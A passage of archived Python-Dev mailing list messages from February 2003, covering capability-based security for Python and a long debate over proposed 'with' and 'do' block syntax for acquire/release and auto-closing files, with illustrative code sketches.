  KPY> constrain the transfer of object references such that they can
  KPY> only be transmitted along other object references.  That's all.

I don't follow you hear.  What does it mean to "transmit along other
object references?"  That is, everything in Python is an object and
the only kind of references that exist are object references.

I think, based on your the rest of your mail, that we're largely on
the same page, but I'd like to make sure I understand where you're
coming from.

I don't quite follow the definition of protection domain either, as
most of the literature I'm familiar with (not much of it about
capabilities specifically) talks about a protection domain as the set
of objects a principal has access to.  The natural way to extend that
to capabilities seems to me to be that a protection domain is the set
of capabilities possessed by a principal.

Are these questions are off-topic for python-dev?

At any rate, it still seems like there are a variety of ways to
realize capabilities in a programming language.  For example, ZODB
uses a special base class called Persistent to mark persistent
objects.  One could imagine using the same approach so that only some
objects have capabilities associated with them.

  KPY> The problem for Python, as Jeremy explained, is that there are
  KPY> so many other ways of crawling into objects and pulling out
  KPY> bits of their internals.

  KPY> Off the top of my head, i only see two things that would have
  KPY> to be fixed to turn Python into a capability-secure system:

  KPY> 1. Access to each object is limited to its declared exposed
  KPY>      interface; no introspection allowed.

  KPY> 2. No global namespace of modules (sys.modules etc.).

  KPY> If there is willingness to consider a "secure mode" for Python
  KPY> in which these two things are enforced, i would be interested
  KPY> in making it happen.

I think there is interest and I agree with your problem statement.
I'd rephrase 2 to make it more general.  Control access to other
modules.  The import statement is just as much of a problem as
sys.modules, right?  In a secure environment, you have to control what
code can be loaded in the first place.

  >> In Python, there is no private.

  KPY> Side note (probably irrelevant): in some sense there is, but
  KPY> nobody uses it.  Scopes are private.  If you were to implement
  KPY> classes and objects using lambdas with message dispatch
  KPY> (i.e. the Scheme way, instead of having a separate "class"
  KPY> keyword), then the scoping would take care of all the
  KPY> private-ness for you.

I was aware of Rees's dissertation when I did the nested scopes and,
partly as a result, did not provide any introspection mechanism for
closures.  That is, you can get at a function's func_closure slot but
there's no way to look inside the cells from Python.  I was thinking
that closures could replace Bastions.  It stills seems possible, but
on several occasions I've wished I could introspect about closures
from Python code.  I'm also unsure that the idea flies so well for
Python, because you really want secure Python to be as much like
regular Python as possible.  If the mechanism is based on functions,
it seems hard to make it work naturally for classes and instances.

  >> The Zope proxy approach seems a little more promising, because it
  >> centralizes all the security machinery in one object, a security
  >> proxy.  A proxy for an object can appear virtually
  >> indistinguishable for the object itself, except that type(proxy)
  >> != type(object_being_proxied).  The proxy guarantees that any
  >> object returned through the proxy is wrapped in its own proxy,
  >> except for simple immutable objects like ints or strings.

  KPY> The proxy mechanism is interesting, but not for this purpose.
  KPY> A proxy is how you implement revocation of capabilities: if you
  KPY> insert a proxy in front of an object and grant access to that
  KPY> proxy, then you can revoke the access just by telling the proxy
  KPY> to stop responding.

Sure, you can use proxies for revocation, but that's not what I was
trying to say.

I think the fundamental problem for rexec is that you don't have a
security kernel.  The code for security gets scatter throughout the
interpreter.  It's hard to have much assurance in the security when
its tangled up with everything else in the language.

You can use a proxy for an object to deal with goal #1 above --
enforce an interface for an object.  I think about this much like a
hardware capability architecture.  The protected objects live in the
capability segment and regular code can't access them directly.  The
only access is via a proxy object that is bound to the capability.

Regardless of proxy vs. rexec, I'd be interested to hear what you
think about a sound way to engineer a secure Python.

Jeremy




From pedronis@bluewin.ch  Sun Feb  2 20:17:30 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 21:17:30 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <057b01c2caf8$1d88cd00$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> [Samuele]
> > yes, real-world examples would be good.
>
> synchronized() is definitely a real-world example -- writing
> try/finally for locks is a pain for all threaded code.
>
> Another, related example would be something that blocks all signals
> (or at least SIGINT) during a certain code block.
>
> I imagine that there are quite a few examples that basically wrap a
> code block in something that does some preparation and some cleanup.
>
> These require that the cleanup action is done even if an exception
> occurred in the block, and this can't be done with the "for loop" hack
> proposed by Armin (unless you rely on __del__, which would be a no-no
> for Jython).
>
> 'do' or 'with' should be up to this task.

with 'do' you mean your 'do' whose thunk can rebind locals?

> I think that for synchronized-like cases, even if it is known at
> compile time that it is to be part of the surrounding scope, the code
> generated will still need to use nested-scope-cells, since it will be
> invoked on a different stack frame: the "thunk processor" pushes its
> own frame on the stack, and I think you can't have something that
> executes in a frame that's not the topmost frame.  (Or can you?  I
> don't know exactly what generators can get away with.)

How can you avoid that someone stores away the thunk, you would need a special
keyword to invoke it (Ruby uses "yield" which here is already taken), then we
still have return/break/continue semantics to get right, whether we want
'value' or not'...

If I understand correctly you are still proposing to have:

a 'do' and thunks that can mess with locals with their headaches <.5 wink>, and
new concepts added to the language.

On my part, I'm still wondering whether Michael Hudson's 'with' and my 'fdo'
(maybe still to name just 'do'), that uses an anonymous function as-we-know-it,
not a thunk will give most of the functionality without enlarging the language
(they are basically sugar, useful sugar).












From lists@morpheus.demon.co.uk  Sun Feb  2 16:55:25 2003
From: lists@morpheus.demon.co.uk (Paul Moore)
Date: Sun, 02 Feb 2003 16:55:25 +0000
Subject: [Python-Dev] Re: Extended Function syntax
References: <200302012008.h11K8ts03673@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <n2m-g.65s2ei6a.fsf@morpheus.demon.co.uk>

Guido van Rossum <guido@python.org> writes:

> Hmm, you could even craft your own case statement with his
> suggestion:
>
>   switch(expr):
>     case(val1):
>       block1
>     case(val2):
>       block2
>     default:
>       block3
>
> This actually makes me worry -- I didn't plan thunks to be the answer
> to all problems.  A new idea that could cause a paradigm landslide is
> not necessarily right.

I can see your reservations here. But I'm not sure I share them. A new
idea that can be misused isn't necessarily wrong, either...

[And I don't know that I see this as "misuse" in any case.]

To be honest, the fact that people *can* implement switch statements
using this feature doesn't mean that they will. And even if they do,
it doesn't mean that the implementation will be used. After all,
people could do some pretty scary things with the bytecodehacks
module, if they wanted to...

The obvious issues are dependency on an extra module, and performance.
And even if a switch module was available, you'd need to import from
it if you wanted to use the construct, so you'd presumably be aware of
what you were getting.

It's just a new tool in the toolbox. When you first get a hammer,
everything looks like a nail for a while, but after a bit you get a
sense of perspective again.

Paul.
-- 
This signature intentionally left blank


From lists@morpheus.demon.co.uk  Sun Feb  2 17:14:43 2003
From: lists@morpheus.demon.co.uk (Paul Moore)
Date: Sun, 02 Feb 2003 17:14:43 +0000
Subject: [Python-Dev] Extended Function syntax
References: <r01050400-1023-B023B5E7331111D7B33C003065D5E7E4@[10.0.0.23]> <200301282244.h0SMiQ431533@odiug.zope.com>
 <20030201173107.48C1D20ED@bespin.org>
 <15932.3699.514766.848297@localhost.localdomain>
Message-ID: <n2m-g.y94yd2po.fsf@morpheus.demon.co.uk>

Jeremy Hylton <jeremy@alum.mit.edu> writes:

> It's unfortunate that you can't extend the syntax, too.

You often don't need to extend the syntax, as long as the existing
syntax and semantics do the right thing. My favourite example of this
is the C++ idiom of "resource acquisition is initialisation", which
combines the semantics of deterministic destructors and the syntax of
being able to define a new variable scope (via {...}) whenever you
need to, to give a very readable and general solution to all sorts of
acquire/release problems.

In my view, Guido's thunk proposal gives the right semantic
flexibility to let people define idioms like this within the fixed
syntax. Even if the generality of it scares him :-)

Paul.
-- 
This signature intentionally left blank


From pedronis@bluewin.ch  Sun Feb  2 20:24:42 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 21:24:42 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it>
Message-ID: <05d101c2caf9$1eb15200$6d94fea9@newmexico>

From: "Alex Martelli" <aleax@aleax.it>
>
> with <identifier> = <expr>:
>     <suite>
>
> be helpful too?  Meaning to use local variable <identifier> in lieu of
> the abstract _x -- for example in order to enable:
>
> with myfile = auto_closing_file('blah.txt', 'rb'):
>     xx = myfile.read(23)
>    # rest of suite snipped
>
> where auto_closing_file is a subclass of file defining useful __enter__
> (empty -- might be nice to have it optional...) and __exit__ = close
> synonyms (or file itself might grow __exit__ as a synonym for close).

you're right, you would also get this idiom for iterators that support also the
'with' protocol:

with myfile = auto_closing_file('blah.txt', 'rb'):
  for line in myfile:
   ...








From ianb@colorstudy.com  Sun Feb  2 20:30:37 2003
From: ianb@colorstudy.com (Ian Bicking)
Date: 02 Feb 2003 14:30:37 -0600
Subject: [DB-SIG] Re: [Python-Dev] database APIs
In-Reply-To: <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302021015460.30571-100000@penguin.theopalgroup.com>
Message-ID: <1044217837.11685.17.camel@lothlorien>

On Sun, 2003-02-02 at 09:51, Kevin Jacobs wrote: 
> > also for some of the background please see the advogato article
> > http://advogato.org/article/600.html particularly the link to
> > jmg's code which contains some very simple to use but obscure 
> > coding methods to wrap SQL databases in objects.
> 
> We (my company) and many others have their own SQL generation and OR mapping
> implementations that are considerably more advanced.  Some (like mine) are
> in the process of transitioning to an open source development model, while
> some are already freely available (see http://colorstudy.com/software/SQLObject
> for one released just last week).  So maybe it is time for all of us to get 
> together and put the Open Source "bazaar" to the test and see what comes out.

There is a list of a number of such interfaces here:
http://www.python.org/cgi-bin/moinmoin/HigherLevelDatabaseProgramming

If there's any missing I hope someone will extend them.  Currently
listed are:

DbObj
db_row
ll.sql
PgResultSet
MiddleKit
Object Relational Membrame
PyDo
SQLBuilder
SQLDict
SQLObject

In various forms these address exactly what Luke was proposing.

-- 
Ian Bicking           Colorstudy Web Development
ianb@colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241



From pedronis@bluewin.ch  Sun Feb  2 20:39:09 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 21:39:09 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it> <05d101c2caf9$1eb15200$6d94fea9@newmexico>
Message-ID: <061701c2cafb$2387ce60$6d94fea9@newmexico>

From: "Samuele Pedroni" <pedronis@bluewin.ch>
>
> you're right, you would also get this idiom for iterators that support also
the
> 'with' protocol:
>
> with myfile = auto_closing_file('blah.txt', 'rb'):
>   for line in myfile:
>    ...
>

With Guido's 'do', you could define an iterclose():

do iterclose(open('blah.txt','rb')): (line):
   ...

Btw, the two snippets illustrate quite well the different evolutive directions'
on the table.




From aleax@aleax.it  Sun Feb  2 21:20:59 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 2 Feb 2003 22:20:59 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <061701c2cafb$2387ce60$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <05d101c2caf9$1eb15200$6d94fea9@newmexico> <061701c2cafb$2387ce60$6d94fea9@newmexico>
Message-ID: <200302022220.59810.aleax@aleax.it>

On Sunday 02 February 2003 09:39 pm, Samuele Pedroni wrote:
   ...
> > with myfile = auto_closing_file('blah.txt', 'rb'):
> >   for line in myfile:

  [where here we could also have e.g.
        xx = myfile.read(23)
        # rest of suite snipped
  ]

> >    ...
>
> With Guido's 'do', you could define an iterclose():
>
> do iterclose(open('blah.txt','rb')): (line):
>    ...
>
> Btw, the two snippets illustrate quite well the different evolutive
> directions' on the table.

If the Btw does in fact hold, then (speaking as a teacher of Python
and as a writer) I hope the "with" line prevails -- I would find that
one trivially easy to explain (even to newbies), while I think I would
have a harder time teaching the second form (it may have other
advantages -- I haven't followed the thread well enough to say --
but it seems it would be harder for newbies to learn and use).


Alex



From pedronis@bluewin.ch  Sun Feb  2 21:31:26 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 22:31:26 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <05d101c2caf9$1eb15200$6d94fea9@newmexico> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022220.59810.aleax@aleax.it>
Message-ID: <071301c2cb02$7144c2a0$6d94fea9@newmexico>

From: "Alex Martelli" <aleax@aleax.it>
> On Sunday 02 February 2003 09:39 pm, Samuele Pedroni wrote:
>    ...
> > > with myfile = auto_closing_file('blah.txt', 'rb'):
> > >   for line in myfile:
>
>   [where here we could also have e.g.
>         xx = myfile.read(23)
>         # rest of suite snipped
>   ]
>
> > >    ...
> >
> > With Guido's 'do', you could define an iterclose():
> >
> > do iterclose(open('blah.txt','rb')): (line):
> >    ...
> >
> > Btw, the two snippets illustrate quite well the different evolutive
> > directions' on the table.
>
> If the Btw does in fact hold, then (speaking as a teacher of Python
> and as a writer) I hope the "with" line prevails -- I would find that
> one trivially easy to explain (even to newbies), while I think I would
> have a harder time teaching the second form (it may have other
> advantages -- I haven't followed the thread well enough to say --
> but it seems it would be harder for newbies to learn and use).

to be fair I don't think that Guido suggested to add a iterclose builtin to the
language, OTOH nobody would be stopped to write and use it in its code,
basically short of community style guides and pressure both:

do iterclose(open('blah.txt','rb')): (line):
    ...

do myfile = autoclose(open('blah.txt','rb')):
   for line in myfile:
    ...

would be potential idioms.




From pedronis@bluewin.ch  Sun Feb  2 21:35:38 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 22:35:38 +0100
Subject: [Python-Dev] Extended Function syntax
Message-ID: <072701c2cb03$075ef800$6d94fea9@newmexico>

From: "Samuele Pedroni" <pedronis@bluewin.ch>
> > but it seems it would be harder for newbies to learn and use).
>
> to be fair I don't think that Guido suggested to add a iterclose builtin to
the
> language, OTOH nobody would be stopped to write and use it in its code,
> basically short of community style guides and pressure both:
>
> do iterclose(open('blah.txt','rb')): (line):
>     ...
>
> do myfile = autoclose(open('blah.txt','rb')):
>    for line in myfile:
>     ...

this one is wrong, it would have to be (assumed the current proposals):

do autoclose(open('blah.txt','rb')): (myfile):
   for line in myfile:
    ...

or

myfile = open('blah.txt','rb')
do autoclose(myfile):
   for line in myfile:
    ...

> would be potential idioms.
>
>



From bac@OCF.Berkeley.EDU  Sun Feb  2 21:41:27 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 2 Feb 2003 13:41:27 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <061701c2cafb$2387ce60$6d94fea9@newmexico>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico>
 <200302022035.03264.aleax@aleax.it> <05d101c2caf9$1eb15200$6d94fea9@newmexico>
 <061701c2cafb$2387ce60$6d94fea9@newmexico>
Message-ID: <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>

[Samuele Pedroni]

> From: "Samuele Pedroni" <pedronis@bluewin.ch>
> >
> > you're right, you would also get this idiom for iterators that support also
> the
> > 'with' protocol:
> >
> > with myfile = auto_closing_file('blah.txt', 'rb'):
> >   for line in myfile:
> >    ...
> >
>
> With Guido's 'do', you could define an iterclose():
>
> do iterclose(open('blah.txt','rb')): (line):
>    ...
>

Could we possibly flesh out both of these examples to what would amount to
working code (including code that would manipulate what they create by
searching for "Python" in each line) in a single email?  I would like to
make sure that I am comprehending how this will all work in the end.

So if someone (read: Guido and Samuele =) could implement a file that
auto-closes once the iterator on the file is exhausted with each
suggestion I would *really* appreciate it.  And if there could even be
code given that used what these things returned by searching each returned
line for the word "Python" would be great as well.  That way we not only
see how the new syntax would work, but we also see how code is going to
interface with what the new code generates.

-Brett


From lists@morpheus.demon.co.uk  Sun Feb  2 21:49:31 2003
From: lists@morpheus.demon.co.uk (Paul Moore)
Date: Sun, 02 Feb 2003 21:49:31 +0000
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net>
 <20030201173108.0F9AD2223@bespin.org>
 <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net>
 <049701c2ca2a$89d0e0c0$6d94fea9@newmexico>
 <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net>
 <059501c2ca31$d6581420$6d94fea9@newmexico>
 <065d01c2ca3b$185ca080$6d94fea9@newmexico>
 <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net>
 <002301c2cad4$714acc00$6d94fea9@newmexico>
 <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>

Guido van Rossum <guido@python.org> writes:

> I'm now wondering if there aren't really only two interesting cases,
> none of which require saving the thunk and calling it later:
>
> - synchronized-like, where the block should connect to its environment
>
> - property-like, where the block should introduce a new scope, and the
>   caller should be able to inspect or control that scope's namespace

I certainly haven't seen any use cases other than these two. In fact,
pretty much all of the cases I am aware of are synchronised-like,
which I've been referring to as acquire/release. The only
property-like cases I'm aware of are properties themselves.

Personally, I don't have much problem with the current property
approach, and the comments I've seen have been generally 50-50. I'd
like to see some focused discussion on property syntax, but maybe it
could be spun off onto a separate thread?

> All cases where something is saved to be called later can be done
> by using the extended 'def' syntax (def f(...) [something]: ...).

This sounds interesting, but I can't quite see what you are saying. Do
you have a real use case in mind?

As far as the acquire/release case is concerned, I think that there is
definitely a strong case for syntactic support for this. The
equivalent idiom in C++ is "resource acquisition is initialisation"
which, while not having syntax support, does rely on the existence of
deterministic destructors, and on the ability to introduce a new scope
at will. Python has neither of these, and the try...finally construct
is verbose enough to make something better worth having.

On the other hand, the simple "with" construct proposed by Samuele

> with <expr>:
>  <suite>
>
> would be possibly sugar for:

[...]

> _x = <expr>
> _x.__enter__()
> try:
>   try:
>    <suite>
>   except  getattr(_x,'__excepts__',()),_e:
>     _x.__except__(_e)
> finally:
>   _x.__exit__()

extended as suggested by Alex to allow __enter__ to be optional and to
allow for an assignment in the with statement, seems to cover this
excellently. (I'm not sure the exception handling needs to be quite
that complex, but that's a minor point).

Holger Kregel's suggestion is pretty much identical (although he
allows for multiple objects in the same statement).

> To satisfy a) i implemented the following execution hooks 
> (which all return None):
>
>     class some_execution_handler:
>
>         def __enter__(self):
>             """called before my indented block is executed """
>
>         def __except__(self, type, value, traceback):
>             """called if an exception occurs during execution"""
>
>         def __leave__(self):
>             """called when execution is finished.
>     
>                this is called if there was no exception AND
>                if there was an exception but no __except__ hook
>             """

So, to offer a unified proposal, I'd suggest the following syntax:

with [ var1 [, var2, ... ] = ] expr1 [, expr2 , ... ]:
    suite

This is equivalent to

var1, var2, ... = expr1, expr2, ...

if hasattr(var1, "__enter__"):
    var1.__enter__()
if hasattr(var2, "__enter__"):
    var2.__enter__()
...

try:
    try:
        suite

    except:
        # Handwave here for now

finally:
    ...
    var2.__exit__()
    var1.__exit__()

In this, any varN can be omitted and a dummy hidden variable is
used. The handwaving around the except clause needs to be clarified -
what I want is to call varN.__except__() ... var1.__except__()
allowing each in turn to catch the exception. If none of them do then
the exception should be propogated. The problem is that I'm not sure
what is the best way for an __except__ method to signal that it caught
the exception.

The __except__ attribute should be optional, as well. I can't see any
reason why it would ever be useful for __exit__ to be optional, but
for generality it might be worth allowing that as well.

I like "with" as the keyword here. One obvious question - if we decide
to go with syntax like this, would we be looking at "pre-reserving"
the keyword in Python 2.3 somehow, so that it could become a full
keyword in 2.4? Or would the new syntax need a future statement in
Python 2.4, to become finalised in 2.5?

Paul.

PS Just to summarise things once more: as I see it, we now have a
   number of threads lurking:

   - The def f(arg) [...] syntax that started all this off
   - With blocks (which give us acquire/release) for which I propose a
     unified solution above
   - Properties, which don't have a specific solution proposed yet
     (AFAICT)
   - Thunks in various forms, most notably Guido's hyper-general
     version (the one that lets us implement switch)

   It's not at all clear to me that the thunk based solutions have
   killer use cases that they solve better than anything else
   (assuming that switch doesn't count :-)) but they may be aiming at
   the property case. If so, I'd appreciate a concrete "this is how
   we'd write a property" explanation, as I'm losing the plot on
   that... On the other hand, thunks seem too heavyweight to me if
   they don't offer some other major advantage as well as properties
   (I actually prefer with for the acquire/release case).

   I'll stop now before I feel a need to summarise the summary of my
   summary :-)
-- 
This signature intentionally left blank


From aleax@aleax.it  Sun Feb  2 21:50:37 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 2 Feb 2003 22:50:37 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>
Message-ID: <200302022250.37389.aleax@aleax.it>

On Sunday 02 February 2003 10:41 pm, Brett Cannon wrote:
   ...
> > > with myfile = auto_closing_file('blah.txt', 'rb'):
> > >   for line in myfile:
   ...
> So if someone (read: Guido and Samuele =) could implement a file that
> auto-closes once the iterator on the file is exhausted with each
> suggestion I would *really* appreciate it.  And if there could even be
> code given that used what these things returned by searching each returned
> line for the word "Python" would be great as well.  That way we not only

As I understood Samuele's "with" proposal (enhanced to allow assignment
in the with, and to make __enter__ optional):

class auto_closing_file(file):
    __exit__ = file.close

with myfile = auto_closing_file('blah.txt'):
    for line in myfile:
        if line.find('Python')>=0:
            print line,

If __enter__ were not optional, auto_closing_file would have to add one
boilerplate line defining it:

class auto_closing_file(file):
    __exit__ = file.close
    def __enter__(self): pass

Actually, it would seem sensible, if we added this 'with', to extent built-in
file by this tiny bit -- let it have __exit__ as a synonym of close (and if
needed __enter__ as a no-operation method) so it can be used directly
in what would then become a very common idiom:

with myfile = open('blah.txt'):
    for line in myfile:
        if line.find('Python')>=0:
            print line,



I don't understand the 'do' concepts well enough to code to them, as
I have not followed this thread closely enough for this.


Alex



From aleax@aleax.it  Sun Feb  2 22:01:32 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 2 Feb 2003 23:01:32 +0100
Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax)
In-Reply-To: <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <n2m-g.fzr6cpzo.fsf_-_@morpheus.demon.co.uk>
Message-ID: <200302022301.32708.aleax@aleax.it>

On Sunday 02 February 2003 10:49 pm, Paul Moore wrote:
   ...
> which I've been referring to as acquire/release. The only
> property-like cases I'm aware of are properties themselves.

Wouldn't classmethods and staticmethods also be able to
exploit (in a simpler way) the syntax/semantics used for
properties?  That's the impression I had.

I do like your "unified proposal" for the "with" case (I have
no idea if "with" is the pluperfectly right sugar for this, btw --
no biggie anyway, i think).

> the exception should be propogated. The problem is that I'm not sure
> what is the best way for an __except__ method to signal that it caught
> the exception.

Maybe the return value of __except__ should be evaluated in a boolean
context encoding this?  False -> exception not caught, True -> caught ...  

So, an __except__ without return statements (implicitly returning None,
thus false) would be a clean-up thingy that does no catching (but e.g.
just rollbacks some DB transactions or whatever), for example -- a
"return True" would explicitly signal the exception was caught -- etc.


Alex



From bac@OCF.Berkeley.EDU  Sun Feb  2 22:07:38 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 2 Feb 2003 14:07:38 -0800 (PST)
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <200302022250.37389.aleax@aleax.it>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz>
 <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU>
 <200302022250.37389.aleax@aleax.it>
Message-ID: <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>

[Alex Martelli]

> On Sunday 02 February 2003 10:41 pm, Brett Cannon wrote:
>    ...
> > So if someone (read: Guido and Samuele =)

... or Alex.  =)

> > could implement a file that auto-closes once the iterator on the file
> > is exhausted with each suggestion I would *really* appreciate it.
> > And if there could even be code given that used what these things
> > returned by searching each returned line for the word "Python" would
> > be great as well.  That way we not only
>
> As I understood Samuele's "with" proposal (enhanced to allow assignment
> in the with, and to make __enter__ optional):
>
> class auto_closing_file(file):
>     __exit__ = file.close
>
> with myfile = auto_closing_file('blah.txt'):
>     for line in myfile:
>         if line.find('Python')>=0:
>             print line,
>
> If __enter__ were not optional, auto_closing_file would have to add one
> boilerplate line defining it:
>
> class auto_closing_file(file):
>     __exit__ = file.close
>     def __enter__(self): pass
>
> Actually, it would seem sensible, if we added this 'with', to extent built-in
> file by this tiny bit -- let it have __exit__ as a synonym of close (and if
> needed __enter__ as a no-operation method) so it can be used directly
> in what would then become a very common idiom:
>
> with myfile = open('blah.txt'):
>     for line in myfile:
>         if line.find('Python')>=0:
>             print line,
>

Now if ``__exit__()`` would be executed regardless of exceptions this
would probably eliminate a decent chunk of code that uses ``finally:``
such as::

 FILE = file('blah.txt', 'rb')
 try:
     for line in FILE:
         if line.find('Python')>=0:
             print line,
 finally:
     FILE.close()

Wouldn't this also allow one to code in a contract programming style ala
Icon (assuming I remember correctly how contract programming works)?  I
mean you have control over the enter and exit of the thunk (would this
still be called a thunk, or just syntactic sugar for calling
``__exit__()`` and ``__enter__()``; more like a thunk-ish protocol?) which
is what I thought was the focus of contract programming.

Either way this seems rather nice.  And if you can pass in arguments (as I
think ``FILE = file('blah.txt', 'rb'): (some_argument):`` is supposed to
implement) this would be really nice.  =)

Now we just need the ``do`` syntax example.

-Brett


From pedronis@bluewin.ch  Sun Feb  2 22:04:23 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 23:04:23 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU> <200302022250.37389.aleax@aleax.it>
Message-ID: <079d01c2cb07$0bbde880$6d94fea9@newmexico>

With Guido's 'do': [notice that count is rebindable in the thunk]

class iterclose:
  def __init__(self,iterwclose):
     self.iter = iterwclose

  def __call__(self,thunk):
     try:
       for x in self.iter:
         thunk(x)
     finally:
       self.iter.close()

count = 0
do iterclose(open('blah.txt')): (line):
   if line.find('Python') >=0: 
     count += 1
     print line,

----

class autoclose1:
  def __init__(self,file):
    self.file = file

  def __call__(self,thunk):
      try:
        thunk(self.file)
      finally:
        self.file.close()

count = 0
do autoclose1(open('blah.txt')): (myfile):
   for line in myfile:
     if line.find('Python') >=0: 
      count += 1
      print line,

----

class autoclose2:
  def __init__(self,file):
    self.file = file

  def __call__(self,thunk):
      try:
        thunk()
      finally:
        self.file.close()

count = 0
myfile = open('blah.txt')
do autoclose2(open('blah.txt')):
   for line in myfile:
     if line.find('Python') >=0: 
       count += 1
       print line,






From aleax@aleax.it  Sun Feb  2 22:17:43 2003
From: aleax@aleax.it (Alex Martelli)
Date: Sun, 2 Feb 2003 23:17:43 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302022250.37389.aleax@aleax.it> <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
Message-ID: <200302022317.43996.aleax@aleax.it>

On Sunday 02 February 2003 11:07 pm, Brett Cannon wrote:
   ...
> Now if ``__exit__()`` would be executed regardless of exceptions this
> would probably eliminate a decent chunk of code that uses ``finally:``

Hmmm, yes, I _was_ sort of assuming that __exit__ runs much
like 'finally' would -- otherwise cleanup/release code would more
often than not have to be duplicated.

> Either way this seems rather nice.  And if you can pass in arguments (as I
> think ``FILE = file('blah.txt', 'rb'): (some_argument):`` is supposed to
> implement) this would be really nice.  =)

I think THAT is the complicated part of the "do" syntax -- that trailing
"(whatever):" that I don't understand.  What would its pluses be?
Where would that 'whatever' be directed to...?  Could you please
provide a use case for with + "(some_argument):" ...?


Alex



From pedronis@bluewin.ch  Sun Feb  2 22:14:41 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Sun, 2 Feb 2003 23:14:41 +0100
Subject: [Python-Dev] Extended Function syntax
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU> <200302022250.37389.aleax@aleax.it> <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU>
Message-ID: <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico>

From: "Brett Cannon" <bac@OCF.Berkeley.EDU>
>
